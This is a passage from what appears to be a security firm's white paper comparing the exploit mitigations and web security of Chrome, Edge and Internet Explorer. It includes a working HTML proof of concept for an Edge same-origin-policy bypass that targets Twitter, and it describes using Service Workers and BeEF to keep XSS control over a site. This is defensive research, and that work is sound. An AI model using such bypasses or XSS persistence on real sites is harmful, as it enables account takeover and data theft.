the attacker’s choices to executing a very limited set of code.
InBuild14986,Microsoft switched froma _guard_check_icall()based implementation to _guard_dispatch_icall()14.
The dispatchmode passes the called function pointer not to a check function, but to a dispatch function,
which checks the pointer and calls it afterwards15. This change should only improve the performance and
not affect the effectiveness of CFG inmitigating vftable overwrites.
12https://www.blackhat.com/presentations/bh-europe-07/Sotirov/Presentation/bh-eu-07-sotirov-apr19.pdf
13https://msdn.microsoft.com/en-us/library/windows/desktop/mt637065%28v=vs.85%29.aspx
14https://lucasg.github.io/2017/02/05/Control-Flow-Guard/
15http://blog.trendmicro.com/trendlabs-security-intelligence/control-flow-guard-improvements-windows

-10-anniversary-update/
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All three browsers enable CFG during compile time, but the coverage highly differs as can be seen in
table 9.3, which shows the number of functions in themain binaries, which are protected by CFG. When
CFG is enabled for an executable, all functions in theCFG guard tablewill be protected. When an additional
executable, e.g. a library is loaded into theprocess, the functions in this libraries guard tablewill beprotected
as well. The CFG is only active in Google Chrome for external binaries, but not for internal functions.
Internet Explorer also covers a very limited amount of functions. This information can be retrieved using
dumpbin.exe /loadconfig, which is part of Visual Studio. The total number of functions for each browser
are as reported by the IDADisassembler16. Please note, that this comparison does not take into account,
howwell the different helper libraries are protected by CFG.

Browser Guard CF function count Functions Total Percentage
Google Chrome 59.0.3071.86 0 2993 0.00%
Microsoft Edge 40.15063.0.0 27336 65981 41.43%
Microsoft Edge CP 40.15063.0.0 344 693 49.64%
Internet Explorer 11.296.15063.0 23 166 16.86%

Table 9.3: CFGCoverage

All tested browsers useCFG, butGoogleChromedoes not use it for internal functions, sinceGoogle intends
to switch to clang and CFI to protect the control flow17. The following binaries are not protected in Google
Chrome: chrome.dll, chrome_elf.dll, chrome_watcher.dll, chrome_child.dll, libegl.dll and libglesv2.dll. X41D-Sec
GmbH suggests that Google either enable CFG or CFI as a defense-in-depth.
This mitigation can be improved by asking the OS to not load anymodule that does not implement CFG.
None of the tested browsers does this. Themitigationmakes no sense for Google Chrome currently, as it
does not implement CFG itself. Therefore, asking theOS not to load any binarywithout CFGwould prevent
it from loading its own binaries. However, for Microsoft Edge and Internet Explorer, X41 D-Sec GmbH
suggests enabling forced CFG as a defense-in-depth.

9.3.6 Child Process Policy
An application can ask theOS to not allow it to spawn any child processes. This prevents an attacker that
can cause a process to try to start an arbitrary application from doing so, whichmight allow the attacker to
run code inside another process outside the sandbox. It also prevents an attacker from bypassing other
mitigations that are applied to individual processes, as any new process may not have thesemitigations
applied. Furthermore, it is quite common for malware to start a separate process in which to perform
their intended functions, so the original process throughwhich they gained entry into the system can be
resumed/terminated and cannot interfere with its functioning.
16https://www.hex-rays.com/products/ida/
17https://medium.com/@justin.schuh/securing-browsers-through-isolation-versus-mitigation-15f0baced2c2
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If a Child Process Policy is set to deny creating new processes, the process is not allowed to create any
other process directly (e.g. usingWinExec) or indirectly (e.g. through an out-of-process COM server).
Of the tested browsers, only Internet Explorer does not enable this at all. Both Google Chrome and
Microsoft Edge enable it for some of their processes, but not all: Google Chrome enables it in the sand-
boxed renderer, PPAPI and GPU processes, while Microsoft Edge enables it on the Flash, PDF and In-
tranet/Internet AppContainers. This mitigation is therefore not enabled in the Google Chrome main,
crashpad-handler and watcher process, not in theMicrosoft Edge browser_broker.exe, runtimebroker.exe and
Master AppContainer. Of all these processes that have not enabled themitigation, it appears that only the
Google Chromemain process actually needs to run child processes. Assuming this is the case, X41D-Sec
GmbHwould suggest enabling this in the other processes as a defense in depth.

9.3.7 Data Execution Prevention (DEP)
DEP prevents the execution of memory that is not specifically marked as containing executable code to
prevent an attacker from storing code in data under his or her control. With DEP enabled, any attempt
to execute code in amemory region that is not marked as executable will result in an access violation. An
application can choose to opt-out of DEP, but it is enabled by default for all applications running onmodern
versions ofWindows. For compatibility reasons, Microsoft allows to disable this feature18.
All tested browsers enable DEP in all their processes. However, we found that the iexplore.exe binary for the
32-bit version of Internet Explorer on our 64-bit test machine does not have DEP enabled in its headers.
However, it seems to be enabled at runtime.

9.3.8 HIGHENTROPYVA
HIGHENTROPYVA19 is an upgrade to ASLR that enables the use of a larger section of the 64-bit address
space. This increases the entropy in the randomization andmakes it less likely for an attacker to successfully
guess the address of a module in memory. It is a per-binary setting, in that themain binary and eachmodule
loaded in a process can enable or disable it for themselves. In order to be fully effective, all binaries in a
process should have HIGHENTROPYVA enabled, as otherwise at least one of themmight still be relatively
easy to find.
The 64-bit versions of all three browsers enable HIGHENTROPYVA for all their binaries and for all binaries
seen to be loaded into their processes during testing.
18https://docs.microsoft.com/en-us/cpp/build/reference/nxcompat-compatible-with-data-execution-preventio

n
19https://docs.microsoft.com/en-us/cpp/build/reference/highentropyva-support-64-bit-aslr
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9.3.9 Extension Point DLLs
An application can ask theOS not to load Legacy Extension Point DLLs. There are a number of ways third
parties could extend certain functionality by asking theOS to inject a DLL into processes. This flag allows a
process that does not use these extensions to disable loading them completely.
Of the tested browsers, only Google Chrome andMicrosoft Edge implement this, but only for a limited
number of their processes: Google Chrome does not allow this in GPU, PPAPI, and renderer processes,
whileMicrosoft Edge does not allow it in its runtime broker process. X41D-Sec GmbH advises all vendors
to enable this for all processes as a defense-in-depth.

9.3.10 Invalid Handles
An application can ask theOS to immediately terminate it as soon as it attempts tomake an API call using
an invalid handle. Using an invalid handle in an API call can only happenwhen the application is in a bad
state and terminating it immediately might prevent an attacker from exploiting this.
Of the tested browsers, only Internet Explorer does not enable this at all. Google Chrome enables this in all
processes, except themain, watcher, and crashpad-handler processes. Microsoft Edge enables this in all
processes, except the browser broker process. X41D-Sec GmbH advises all vendors to enable this for all
processes as a defense-in-depth.

9.3.11 Low-integrity binaries
An application can ask the OS to not allow it to load any binaries from low-integrity file system folders.
This prevents an attacker that can download an arbitrary binary into a low-integrity file-system folder
from loading it in the process. Most sandboxed processes that have access to disk are only able to access
low-integrity folders, so this mitigation is particularly helpful as a defense in depth.
Of the tested browsers, only Google Chrome enables this mitigation in the sandboxed renderer, PPAPI and
GPU processes. X41 D-Sec GmbH suggests thatMicrosoft enables this mitigation in all below-medium-
integrity processes in bothMicrosoft Edge and Internet Explorer.

9.3.12 Remote DLLs
An application can ask the OS not to load any DLLs from a remote (Server Message Block (SMB)) path.
This prevents an attacker that can trigger a process to load amodule from an arbitrary path from running
arbitrary code by loading amodule from amachine under the attacker’s control on the network/internet.
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Of the tested browser, only Google Chrome and Microsoft Edge implement this, but only for a limited
number of their processes: Google Chrome does not allow this in GPU, PPAPI, and renderer processes,
whileMicrosoft Edge does not allow it in its Internet or Intranet AppContainer. X41D-Sec GmbH advises
all vendors to enable this for all processes as a defense-in-depth.

9.3.13 Syscall Proxying
TheMicrosoftWindowsOS provides numerous system calls throughwin32k.sys that have historically been
found to contain many security vulnerabilities that can be exploited in order to execute code with elevated
privileges. Attackers have repeatedly used this attack vector to escape sandboxes and compromise a
system completely via the kernel, after first gaining code execution inside a sandbox. If a process does not
require access to these syscalls directly, the application can ask the OS not to allow it to make any such
syscall. This prevents an attacker that is able to compromise the process from attempting to exploit any
vulnerability inwin32k.sys in order to escalate their privileges.

Figure 9.1: Google Chrome Componenents /Win32k Abstraction

9.3.13.0.1 Win32k Lockdown Of the tested browsers, only Google Chrome implements a syscall filter
(see figure 9.1), but only for its PPAPI and renderer processes. Because both of these types of process do
need to use some features of win32k, a subset of these system calls is brokered via themain process. This
limits an attacker’s access to the win32k attack surface.
The use of 32bit syscalls is restricted using the System Call Disable Policy20. By using the function SetPro-
20https://msdn.microsoft.com/en-us/library/windows/desktop/hh871472(v=vs.85).aspx
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cessMitigationPolicy21 provided by theMicrosoftWindowsOS, a runtime policy can be set on a process in
order to disable the 32bit syscalls.
Note that the use of non-win32k system calls is not limited by the win32k lockdown.
Also, otherMicrosoftWindows API functions are hooked. This happens for example when a newmodule
(DLL) is loaded by patching functions22. We do not regard this as a security barrier because userland hooks
can also be uninstalled or replaced by custom code. However, on a design level these hooks allowmore
fine-grained access to certain dangerous functions. In case of 32bit syscalls for example it allows Google
Chrome to prevent the renderers from making any 32bit syscall, yet using the syscall proxy a renderer
might use certain 32bit syscalls remotely if they are considered safe.

9.3.14 Out-of-process JavaScript compilation

Browser Out-of-process
Google Chrome #
Microsoft Edge  

Internet Explorer #

Table 9.4:Out-of-process JavaScript Compilation

Modern JavaScript engines can compile JavaScript into native machine code that can be executed directly
on the Central processing Unit (CPU) for added speed. To do this, they need to create a writable memory
region inwhich towrite the compiled assembly, andmark thismemory region as executable so it can be used
to run the JavaScript. This could potentially be abused by an attacker as a way of generating executable
code that can execute arbitrary functions. Out-of-process JavaScript compilationmitigates against some
ways in which this can be abused by compiling JavaScript in a separate process. This prevents an attacker
from attempting tomodify thememory that contains compiled codewhile it is writable.
As shown in table 9.4 and tested by inspecting the source code of the JavaScript engines, Microsoft Edge
uses out-of-process JavaScript compilation andGoogle Chrome does not use out-of-process JavaScript
compilation. Internet Explorer does not compile JavaScript, but interprets it in the traditional way.

9.3.15 Safe Structured Exception Handling (SafeSEH) / Structured Exception Han-
dling Overwrite Prevention (SEHOP)

Safe Structured ExceptionHandling (SafeSEH) prevents the execution of any Structured ExceptionHandler
(SEH) that is not in a list of known valid exception handlers. It allows the application to provide a white-list
21https://msdn.microsoft.com/en-us/library/windows/desktop/hh769088(v=vs.85).aspx
22https://cs.chromium.org/chromium/src/sandbox/win/src/interception.h?type=cs&q=AddToPatchedFunctions&l=

269
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of valid exception handlers to theOS, which theOS uses when an exception is thrown to check if the SEH
information on the stack has been tamperedwith and points to something that is not in this list. An attempt
tomodify the SEH and point the exception handler to arbitrary code to have it executed when an exception
is being handled will be detected because the exception handler is not in this white-list. This causes an
unhandled exception and process termination. An applicationmust opt-in to SafeSEH23, and it has been
superseded by Structured Exception Handling Overwrite Prevention (SEHOP)24.
SEHOP detects modifications of the SEH data on the stack by checking if the SEH chain is intact and leads
to a known good final SEH structure. Any attempt to overwrite the SEH data that breaks the chain will
be detected by theOSwhen an exception is thrown before any exception handler is called and lead to an
unhandled exception and process termination.
All the binaries used by all the browsers and all the binaries loaded by themwere found to enable SafeSEH.
SEHOP is on by default for all processes in all modern versions of Microsoft Windows and none of the
tested browsers explicitly disable it.

9.3.16 Signature checks
An application can ask the OS to not allow loading of any binaries into a process, unless these binaries
are signed byMicrosoft, theMicrosoft Store orMicrosoftWindowsHardwareQuality Lab (WHQL). This
prevents an attacker that can cause the process to attempt to load an arbitrary DLL from loading any DLLs
that do not meet these criteria, potentially preventing them from easily executing arbitrary code. This
mitigation is currently not available for desktop apps that are not developed byMicrosoft, because the
signing criteria exclude non-store apps that are not developed byMicrosoft.
Binary whitelisting as amitigation has proven time and again to be easy to bypass. For example a bypass
thatMicrosoft does not intend to address was released publicly while this paper was being written25. X41
D-Sec GmbH therefore does not believe it to be very effective as amitigation at this point in time. Further
improvements such as finer-grained whitelisting and the ability to white-list signatures not created by
Microsoft may be able to improve its effectiveness and usefulness in the future.
Microsoft Edge enables signature checks for all of its AppContainer sandboxes, except themain AppCon-
tainer process. For more information about the various types of AppContainer sandboxes thatMicrosoft
Edge uses, see chapter 7.
Google Chrome and Internet Explorer do not use signature checks at this time. Of these two browsers, only
Internet Explorer could theoretically implement this mitigation, as its binaries could be signed byMicrosoft.
Since Google Chrome is not developed byMicrosoft and not a Store-app, it cannot use this mitigation at all.
23https://msdn.microsoft.com/en-us/library/ee480116%28v=winembedded.60%29.aspx
24https://blogs.technet.microsoft.com/srd/2009/02/02/preventing-the-exploitation-of-structured-exception

-handler-seh-overwrites-with-sehop/
25http://www.exploit-monday.com/2017/07/bypassing-device-guard-with-dotnet-methods.html
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9.3.17 System Fonts only
An application can ask theOS not to load any fonts that are not already installed on the system. This pre-
vents an attacker that can attempt to load a font under their control from doing so to exploit a vulnerability
in the font rendering components ofMicrosoftWindows.
Of the tested browser, only Google Chrome implements this, but only for its GPU, PPAPI, and renderer
processes. X41 D-Sec GmbH advises all vendors to enable this for all processes as a defense-in-depth,
assuming that none of these processes require this feature.

9.3.18 VTGuard
VTGuard attempts to detect themodification of a vftable pointer using a canary stored at a specific location
in each valid vftable. Before any vftable is used, the code checks if the canary value is in that table at the
right location. An attacker must determine or guess this random canary value and store it in their fake
vftable. If the fake vftable does not have this canary value, VTGuardwill terminate the application, rather
than execute arbitrary code. The canary is similar to other values in the vftable in that it points to a location
in themodule, just like a function pointer. Because ASLR is enabled, themodule is located at a randomized
address. The canary value is therefore similarly randomized. Each C++ class the application wants to add
protection tomust be explicitly annotated to enable VTGuard. VTGuardmitigations apply only to objects
of the protected classes.
Microsoft browsers and Google Chrome loaded the iertutil.dllmodule26, which implements VTGuard for
some of its binaries. Google Chrome apparently loads iertutil.dll as a dependency of another DLL and
does not use it directly. OnlyMicrosoft Edge and Internet Explorer implement VTGuard in other binaries,
specifically their respective rendering engines: edgehtml.dll andmshtml.dll.
Using public symbols, it is possible to determine howmany vftables are stored in eachmodule andhowmany
VTGuard canaries are stored in these vftables. This information can be used to determine the VTGuard
coverage for amodule.
Our tests of VTGuard show the following results on a 64-bit version ofWindows:

• edgehtml.dll implemented VTGuard in 829 of 6548 classes (12.7% coverage)
• iertutil.dll implements VTGuard in 5 of 107 classes (4.7% coverage)
• mshtml.dll implements VTGuard in 733 of 6480 classes (11.3% coverage)

26http://www.geoffchappell.com/studies/windows/ie/iertutil/
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The effectiveness of VTGuard inmitigating exploitation depends on a number of factors:

1. the number of vulnerabilities that allow an attacker tomanipulate a vftable pointer
2. the percentage of such vulnerabilities that affect a vftable pointer that refers to a VTGuard protected
vftable

3. the percentage of such vulnerabilities that do not provide a way to leak information that can be used
to determine the canary value.

Only by compiling a statistically significant data set of the above factors is it possible tomake a reasonable
prediction on how effective implementing VTGuardwould be as amitigation against future exploitation.
Because this information is not publicly available, and certainly not in a format we could gather and process
automatically, it is not realistically possible for X41 D-Sec GmbH to provide any meaningful conclusion
about how useful VTGuard is in mitigating exploitation of vulnerabilities in real life situations.
The use of CFG does not contradict the use of VTGuard, since bothmechanisms try to protect indirect calls
in different ways and neither catches all possible cases.
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10 EarlyAdoptionofHardeningFeatures

This section provides a timeline of the introduction of new hardening features for the target browsers (see
table 10.1). For Google Chrome, the earliest analyzed version was released on 2009-05-24 (2.0.172), for
Microsoft Edge on 2015-07-30 (20.10240) and Internet Explorer on 2012-11-13 (IE 9). As can be seen
from the data, all browsers supported compiler security features from the start, the only exception being
CFG, where support in Google Chrome is behind, because Google has plans to implement clang’s CFI1
instead.

Feature Google Chrome Microsoft Edge Internet Explorer
DEP 2009-05-24 2015-07-30 2012-11-13
ASLR 2009-05-24 2015-07-30 2012-11-13
HIGHENTROPYVA 2014-08-26 2015-07-30 2012-11-13
CFG 2016-10-14 2015-07-30 2014-11-17

Table 10.1: Adoption of Hardening Features

Due to the different features sets and proprietary development of certain parts of the browsers, it was not
possible to perform a completely fair comparison. The introduction of some features in Google Chrome can
be tracked via its bug tracker, but the availability of a patch at a certain data does not necessarily mean that
this patchwas shipped in an update to the users on that date. Similar, a featuremight be introduced in a
preview build byMicrosoft or made available through a configuration setting that was off by default (e.g.
DEP). For some features, it was not possible to find the exact date when theywere introduced at all. Where
possible, older versions of the browsers were analyzed to find out when a new feature was introduced.
Since both vendorsmake it hard or even impossible for the public to download outdated versions of the
release builds of their browsers, X41D-Sec GmbHwas not able to check all versions. Additionally, it was
not possible to gather information for all hardening features.
1https://medium.com/@justin.schuh/securing-browsers-through-isolation-versus-mitigation-15f0baced2c2
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10.1 DEP
Google Chrome supports DEP since version 2.0.172, which was released on 2009-05-24 and was the
earliest version X41D-Sec GmbH could get their hands on. Microsoft Edge supports DEP since the earliest
release from 2015-07-30. DEPwas supported in Internet Explorer 9, which was the earliest version that
could be found.

10.2 ADDRESS SPACE LAYOUT RANDOMIZATION (ASLR)
Google Chrome supports ASLR since version 2.0.172, which was released on 2009-05-24. Microsoft Edge
supports ASLR since the earliest release from 2015-07-30. ASLR was supported in Internet Explorer 9,
which was the earliest version that could be found.

10.3 HIGHENTROPYVA
The first Google Chrome release for 64-bit was on 2014-08-262, therefore this is the first timeHIGHEN-
TROPYVA could be supported. Microsoft Edge supports HIGHENTROPYVA since the earliest release from
2015-07-30. HIGHENTROPYVA is not supported in Internet Explorer 9, but was introduced in version 10
which was released on 2012-11-13.

10.4 CFG
Support for CFG in Google Chromewas introduced on 2016-10-143.
Microsoft supported CFGwithWindows 8.1 Update (2014-11-19) andWindows 10 (2015-07-29). Since
the first Microsoft Edge version was released on 2015-07-30, this is the initial support for CFG. The
Internet Explorer version releasedwithWindows 10 on 2015-07-29 supports CFG as well. OnMicrosoft
Windows 8.1, support for CFGwas introducedwith KB30008504, which updated Internet Explorer from
11.0.7 to 11.0.14 and enabled CFG on 2014-11-17

2https://blog.chromium.org/2014/08/64-bits-of-awesome-64-bit-windows_26.html
3https://bugs.chromium.org/p/chromium/issues/detail?id=584575
4https://www.microsoft.com/en-us/download/details.aspx?id=44977
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11 Web Security

While the previous chapters analyzed sandboxing and hardening features, this one focuses on four aspects
ofWeb Security: SameOrigin Policy, Port Banning, Content Security Policy and support for a number of
HTML5 features. Given that new features emerge every year, not all of them are analyzed in this report.
X41D-Sec GmbH gave priority to features that had, or currently have, security implications.
Before analyzing these features, it is important to point out that Internet Explorer exposes a specific attack
surface not present in the other two browsers: it is the only one offering backwards compatibility, which
supports legacy technologies such as Visual Basic Script (VBScript) and VML. While these are disabled
by default, they can be enabled in the 32-bit version of Internet Explorer by downgrading the Document
mode1. The followingmeta tag can be added in the head of a webpage, to have VML and VBScript enabled
in Internet Explorer, lowering the Documentmode to Internet Explorer 9:

1 <meta http-equiv="X-UA-Compatible" content="IE=9" />

Old techniques that allowed to lower the Document mode from a page already rendered with a higher
Documentmode, via iframes for example, do not work anymore, meaning that forcing Internet Explorer
to lower the Document mode needs a server-side resource that returns a meta tag or the equivalent
X-UA-Compatible server header. If a new exploit in the VBScript core is discovered, the attacker just needs
to lower the Document mode while serving the exploit to target the current Internet Explorer version
exploiting bugs in legacy features. A VBScript vulnerability discovered in 2014 affected versions of Internet
Explorer from 3 to 112, and is a notable example of how dangerous bugs in such legacy technologies can
make an attacker’s life easier, since the same bug can be reliably used to target many different browser
versions. Both Google Chrome andMicrosoft Edge do not have such automatic backwards compatibility
modes and do not implement these technologies, removing this attack surface completely.
1https://msdn.microsoft.com/en-us/library/dn384057(v=vs.85).aspx
2https://securityintelligence.com/ibm-x-force-researcher-finds-significant-vulnerability-in-microsoft-w

indows/#.VGNwwPnF-Sq
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11.1 SAMEORIGIN POLICY ENFORCEMENT
The SameOrigin Policy (SOP) restricts interaction betweenwebsites of different origins, where the origin
of awebsite is defined as the unique combination of the hostname, scheme and port fromwhich its contents
is retrieved. If any of these three attributes varies, the resource is in a different origin. Hence, if provided
resources come from the same hostname, scheme and port, they can interact without restriction.
The SOP protects data available in one website from being retrieved or modifiedwithout authorization by
another one. For instance, any website you visit other than your on-line email website should not be able to
read your email or send email using your account.
Most of the times SOP bypasses lead to UXSS issues, as they allow an attacker to inject arbitrary JavaScript
into anywebsite. There are caseswhereSOPbypasses are so specific to a JavaScript object or a combination
of various bugs that this is not possible, however they can still be useful if chainedwith other bugs. They can
be used to steal information from and gain control over any websites the victim can visit. This is especially
true if the victim is currently logged in to an account on a target website.
When exploiting UXSS flaws the attacker effectively has control over any origin, without the need of having
a XSS on each of the origins, as the SOPwould otherwise require. Using such a flaw, an attacker usually has
full access to any origin since the SOP is not in place. In case of social media sites, it would allow an attacker
for example to retrieve and steal all the user’s private information stored on the site and as change the
victim’s settings on the site, and sendmessages. Using tools such as the BeEF Tunneling Proxy, it effectively
allows an attacker to turn the browser into an open proxy.
All browsers analyzed have a history of SOP bypasses, and some of them are still working on the browser
versions tested.
In order to run a comparison between browsers, a bespoke Ruby script that simulated different origins was
built. The “Main” origin was used to load test cases written in JavaScript. Another origin, called “Second”,
was used to host content to be retrieved from the first one. Additionally, some SOP bypasses might rely on
open redirects, custom content-types or headers returned in the response. Having full control over the
server-side handlers was therefore important for the analysis.
One interesting example is a SOP bypass3 from Manuel Caballero that still worked on Microsoft Edge
15.15063 at the time of writing this report.
The bypass gets around the SOP creating a blank origin iframe pointing to a data-uri that renders ameta
refresh tag. This, combinedwith the factmany origins (Twitter is used in the PoC) render at least one iframe
with a blank origin, can be exploited to execute arbitrary JavaScript code in the origin of the site that expose
one of these blank origin iframes. Twitter for instance has a blank iframe called dm-post-iframe.
The code in listing 11.1 is a PoC for Microsoft Edge that triggers an alert box coming from the affected
3https://www.brokenbrowser.com/sop-bypass-uxss-tweeting-like-charles-darwin
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origin.

1 <html>
2 <body>
3 Make sure you have a tab open on Twitter using Edge 15.15063
4 <br><br><br>
5 <iframe width="300" height="150" src= c

"data:text/html,<meta http-equiv=refresh content=%220;url=data:text/html,<br><br>about:blank origin. \,→
6 click the button below:<br><br><input type=button onclick= \
7 window.open('javascript:alert(parent.document.domain)','dm-post-iframe') \
8 value='about:blank on Twitter PoC' />%22>"></iframe>
9 </body>

10 </html>

Listing 11.1: PoC forMicrosoft Edge SOP Bypass

Google Chrome is not vulnerable since the SOP is enforced correctly, and throws the error shown in
figure 11.1.

Figure 11.1: Chrome returning a SOP violation error

SOP bypass vulnerabilities are often the result of highly specific logic bugs that are hard to compare. X41
D-Sec GmbH therefore decided to compare the handling of published SOP bypasses by the different
vendors. The number of still working bypasses discovered byManuel Caballero affectingMicrosoft Edge4
and Internet Explorer was higher than in Google Chrome at the time of writing. This hints at a better
handling of SOP bypasses by the Google Chrome vendor.

11.2 PORT BANNING ENFORCEMENT
Port banning is a security measure implemented byweb browsers to deny connections to non-standard
TCP ports. It disallows requests to specific ports like 21, 25, 110, 143, in an attempt to prevent browsers
from issuing requests to services like Telnet, SimpleMail Transfer Protocol (SMTP), Post Office Protocol,
version 3 (POP3) and Internet Message Access Protocol (IMAP). Those are all ASCII-based protocols,
like HTTP, which means that if a given server implementation is tolerant enough to errors, it is possible
to encapsulate for instance IMAP commands inside the plaintext bodies of HTTP POST requests. This
4https://docs.google.com/spreadsheets/d/1L_cskKEXUjt5l3zCj1lvRJgAah0OrW1cU7SBTAuXJsI/pubhtml?gid=0&sing

le=true
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technique, also known as Inter-protocol Exploitation, has been discussed in details in the Browser Hacker’s
Handbook5.
In order to test which ports are restricted, a bespoke Ruby TCPServer was listening on a port, iptables was
used to redirect traffic coming from any port to the Ruby handler, and a few lines of JavaScript were used
to loop and performGET requests to all ports from 1 to 7000. The code of the script can be found in the
Appendix, A.1 and A.2.
The implementation of Port Banning is inconsistent across the browsers tested. Microsoft Edge and
Internet Explorer ban only 8 ports, while Google Chrome restricts waymore ports for a total of 63. As a
result, Microsoft browsers weremore permissive, meaning that an attacker whowants to perform internal
network exploitation via JavaScript would prefer to useMicrosoft Edge or Internet Explorer as a vector
since more ports can be probed. There is no reason why the browsers should be allowed to connect to
X11, Internet Relay Chat (IRC), Secure Shell (SSH) and other known ports. Vulnerabilities such as IRC
Network Address Translation (NAT) Pinning6 have been demonstrated in the past, which could still be
abused nowadays unlessmitigations are implemented in the browsers. Google Chrome takes amore secure
and restrictive approach disallowing about 8 timesmore ports thanMicrosoft browsers, as proven by the
following tables 11.1 and 11.2:

19 21 25 110
119 143 220 993

Table 11.1: TCP Ports Banned byMicrosoft Edge and Internet Explorer

1 7 9 11 13 15 17 19
20 21 22 23 37 42 43 53
77 79 87 95 101 102 103 104
109 110 111 115 117 119 123 135
139 143 179 389 465 512 513 514
515 526 530 531 532 540 556 563
587 601 636 993 995 2049 3659 4045
6000 6665 6666 6667 6668 6669 6697

Table 11.2: TCP Ports Banned by Google Chrome

11.3 CONTENT SECURITY POLICY ENFORCEMENT
Content Security Policy (CSP) is a HTTP response header that sites can set to limit what sources of scripts
are acceptable in the context of the document being served. This helps tomitigate XSS and other forms of
5https://www.amazon.com/Browser-Hackers-Handbook-Wade-Alcorn/dp/1118662091
6https://www.youtube.com/watch?v=oDnzTYwo8p4
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data injection. It uses a strict whitelist approach to specify which origins are allowed for which content.
Since it was introducedmostly as an XSSmitigation, inline code (for example in attributes) and dangerous
calls like eval are disallowed by default.
In the next chapters there will be examples of browser extensions that do relax the CSP, which is a quite
common bad habit for many developers. The following example (see listing 11.2) shows a relaxed CSP
where scripts are allowed only from the whitelisted HyperText Transfer Protocol Secure (HTTPS) resource,
eval is explicitly allowed, and objects can not be loaded from different origins.

1 script-src 'self' 'unsafe-eval' https://api.penitenziagite.club; object-src 'self'

Listing 11.2: Relaxed CSP

Historically, CSP implementations in browsers have a long history of bypasses. Moreover, in April 2017, at
OWASP20177, Michele Spagnuolo and LukasWeichselbaumpresented8 CSP bypasses for Google Chrome
andMicrosoft Edge.
X41D-Sec GmbH repeated the tests in July 2017 and discovered that 4 of former 13 CSP bypasses were
still working for Google Chrome, while the 9 presentedMicrosoft Edge bypasses were still all functional.
Internet Explorer was not covered by their research.
It is important to note that some of these bugs rely on JavaScript frameworks internals, which might
unsafely evaluate parts of the DOMby design, hence they are difficult to fix at a browser level. Moreover,
the differences betweenMicrosoft Edge andGoogle Chrome aremostly due to the factMicrosoft Edge
lacks support for a newCSP directive called strict-dynamic9.
The following are the bypasses that were still unpatched in Google Chrome10:

• Aurelia (2017-03-21)
• Polymer 1.7.1
• Underscore 1.8.3 / backbone
• Dojo 1.12.2

This is yet another example proving that CSP can still be bypassed in all modern browsers, and should not
be considered a panacea against XSS.
7https://www.owasp.org
8https://www.owasp.org/images/c/c4/2017-04-20-OWASPNZ-SpagnuoloWeichselbaum.pdf
9https://www.chromestatus.com/feature/5633814718054400
10https://github.com/google/security-research-pocs/blob/master/script-gadgets/bypasses.md
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11.4 HTML5 FEATURES SUPPORT ANDNEWWEB TECHNOLOGIES
New technologies have emerged and are enabled by default in current browsers, since the previous browser
security white paper was released in 2011. These technologies provide additional attack surface andmight
expose dangerous functionality. For instance,Web/Object Real Time Communication (RTC) has a security
issue by design, which is the leakage of the internal IP addresses. Internal IPs are required by theWeb Real
Time Communication (WebRTC) server in order to determine first which type of NAT is in place, and later
how to doNAT traversal.
As discussed in the next sections,WebRTC allows an attacker to discover reliably andwithout user inter-
action all the internal IPs of a target, including virtual interfaces like tun/tap. This technique, particularly
useful to both de-cloak users and perform internal network exploitation via JavaScript, comes in handy
for attackers. Old techniques using unsigned Java applets or other browser plugins are not a viable option
anymore, thanks to the Java Runtime Environment (JRE) changes and the implementation of Click-to-Play
inmodern browsers. It’s not uncommon that new features added in browsers help attackers carry outmore
sophisticated attacks. WebRTC and ServiceWorkers are just two examples.
Table 11.3 summarizes the support for the new features analyzed.

Feature Google Chrome Microsoft Edge Internet Explorer
ServiceWorkers  G# #
WebRTC  G# #
Object RTC (ORTC) G#  #
History API    

WebAssembly   #
WebGL    

WebNotifications   #
Battery Status API  # #

Table 11.3: Supported HTML5 Features AndNew Technologies ( - True,# - False,G# - Partly)

Support for new features introduces new code in the browser, therefore it potentially introduces new
security bugs. Having said that, it does not mean a browser that supports fewer features like Internet
Explorer, is more secure, or that Google Chrome is less secure thanMicrosoft Edge because it supports
more features. The features analyzed have been chosen by X41D-Sec GmbH since they can be potentially
abused by attackers.

11.4.1 ServiceWorkers
Service Workers were born as a replacement for AppCache, an experimental API to have offline user
experience in the browser. A Service Worker is JavaScript code that runs in the background, having
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network fetches access across the same origin as well as postMessage to communicate with the parent
page.
ServiceWorkers are instantiated when the following actions trigger:

• prefetching content
• subresource access
• navigating resources
• background synchronization
• push notifications

A Service Worker has the capability to create new requests and responses as well as filter and modify
them. Theworker registration process is required to use a HTTPS resource to prevent standardMan-in-
the-middle Attack (MITM) scenarios.
Since the ServiceWorker exposes the onfetch/onmessage handlers, it is possible to practically eavesdrop
the communication between the browser and the server for the origin where the worker is instantiated.
In order to do that an attacker would first need to control the affected origin via XSS. There are three
kinds of XSS: Stored, Reflected and DOM-based11. The difference lies on which context the injection
happens, and if the injection is persistent. In the case of Persistent XSS, the injected attack vector is stored
in some form of data storage like relational or noSQL databases. The Reflected andDOM-based types are
non-persistent: the attack vector sent via an HTTP request is reflected back to the page unescaped. In
case of DOM-based XSS there is no server-side interaction when the payload executes since the exploited
function redirects in the client-side JavaScript context. This makes DOM-based types particularly effective
at being stealthy since no activity can be logged on the target application.
Once the attacker has control over the origin, the ServiceWorker behavior mentioned earlier comes in
handy for an attacker. ServiceWorkers can be abused as a way of persisting Reflected/DOM-based XSS
over the affected origin, as originally pointed out by Eduardo Vela Nava12.
The Reflected XSS payload would inject a new script tag to the page from origin X, where the script
instantiated loadsmalicious code instantiating a ServiceWorker on origin Y, which is affected by the XSS.
Since the whole request flow can be manipulated, the Service worker onfetch handler could be hooked
to a newmalicious JS code as a script tag in every response of a fetch call. Such behavior would make it
very easy to persist control over the origin, without losing the browser hookwhen the user clicks on page
links. This persistence technique is more powerful than existingMan-in-the-Browser techniques relying on
prototype overriding of objects to hijack same-origin calls and open cross-origin calls on new tabs13.
11https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting
12https://sirdarckcat.blogspot.it/2015/05/service-workers-new-apis-new-vulns-fun.html
13https://github.com/beefproject/beef/tree/master/modules/persistence/man_in_the_browser
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Although Service Workers do not introduce new vulnerabilities, they might help an attacker to chain
or exploit other server-side vulnerabilities or misconfigurations, such as unfiltered JavaScript Object
Notation (JSON) callbacks. The following scenario analyzes an origin affected by DOM/Reflected XSS also
having an unfiltered JSONwith Padding (JSONP) callback.
The Ruby code in Appendix A.3 is the example application with the unfiltered JSONP callback exposed as
/vulnjsonp.
By using the BeEF exploit module JSONP ServiceWorker, it’s possible to create a ServiceWorker hooking
the onfetch (see listing 11.3), while hooking any page in the same origin since the attacker has full response
over the response. More specifically, the onfetch call is overriddenwith then following code:

1 onfetch = function(e) {
